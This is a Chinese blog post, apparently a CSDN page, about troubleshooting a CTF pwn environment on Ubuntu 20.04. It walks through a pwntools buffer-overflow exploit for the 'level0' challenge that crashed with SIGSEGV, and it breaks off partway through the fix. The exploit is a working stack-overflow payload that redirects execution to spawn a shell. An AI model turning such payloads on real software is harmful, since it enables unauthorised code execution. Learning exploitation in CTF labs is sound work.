文章目录
之前搭建了一下 Ubuntu 系统下的 Pwn 环境,但是搭建过程中遇到很多问题,有些顺手可以解决。还有一部分花费了很长时间,在此记录。
搭建过程:
搭建Ubuntu16.04系统下的Pwn环境及问题解决实践
1. 使用通用exp执行不能getshell(stopped with exit code -11 (SIGSEGV))
前情提要:
我本来是有一套 Kali 的做题环境的,执行 exp 什么的都正常,后来重新搭了一套 Ubuntu20.04 的环境。工具什么的都可以正常安装,但是发现之前能用的 exp 都执行不了了,执行起来会报错并且不能getshell了。
以攻防世界Pwn题目“level0”为例,EXP如下:
from pwn import *
sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x400596)
sh.sendline(payload)
sh.interactive()
报错如下:
[+] Starting local process './291721f42a044f50a2aead748d539df0': pid 3975
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './291721f42a044f50a2aead748d539df0' stopped with exit code -11 (SIGSEGV) (pid 3975)
[*] Got EOF while sending in interactive

当时以为是 Ubuntu 版本太高,导致系统 libc 版本过高,不能正常执行,所以打算换一个版本低一些的 Ubuntu,结果试了好多版本都不能正常执行。。
然后我的思路是将系统的 libc 版本换掉,或者指定运行时加载的 libc 文件,但是貌似不太行。
因为我之前的 Kali 系统,EXP都是可以正常执行的,看了一下 libc 版本。

然后安装glibc-all-in_one

本文记录了在Ubuntu 20.04环境下搭建Pwn环境时遇到的问题,包括EXP执行SIGSEGV错误、pwndbg启动gdb报错和pwntools安装错误的解决过程,重点在于版本兼容性和栈结构理解。
2442

被折叠的 条评论
为什么被折叠?



